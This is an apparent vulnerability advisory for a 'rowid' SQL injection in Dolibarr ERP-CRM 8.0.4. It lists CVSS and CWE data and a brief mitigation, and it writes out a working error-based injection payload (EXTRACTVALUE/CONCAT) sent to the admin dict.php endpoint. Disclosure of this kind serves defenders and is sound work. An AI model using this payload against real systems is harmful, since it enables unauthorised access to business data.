vendor:
Dolibarr ERP-CRM
by:
Mehmet Önder Key
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Dolibarr ERP-CRM
Affected Version From: 8.0.4
Affected Version To: 8.0.4
Patch Exists: NO
Related CWE: N/A
CPE: a:dolibarr:dolibarr_erp-crm:8.0.4
Metasploit:
N/A
Other Scripts:
N/A
Platforms Tested: WAMPP @Win
2019
Dolibarr ERP-CRM 8.0.4 – ‘rowid’ SQL Injection
An attacker can access all data following an un/authorized user login using the parameter 'rowid' in the POST request URL http://localhost/doli/htdocs/admin/dict.php?id=16 with the payload 'AND EXTRACTVALUE(6385,CONCAT(0x5c,0x716b717871,(SELECT (ELT(6385=6385,1))),0x7176787171)) AND '%'='&search_code=94102&token=$2y$10$KhKjYSBlkY24Xl8v.d0ZruN98LAFOAZ5a5dzi4Lxe3g21Gx46deHK'
Mitigation:
Input validation should be done to prevent SQL injection attacks. Sanitize user input and use parameterized queries.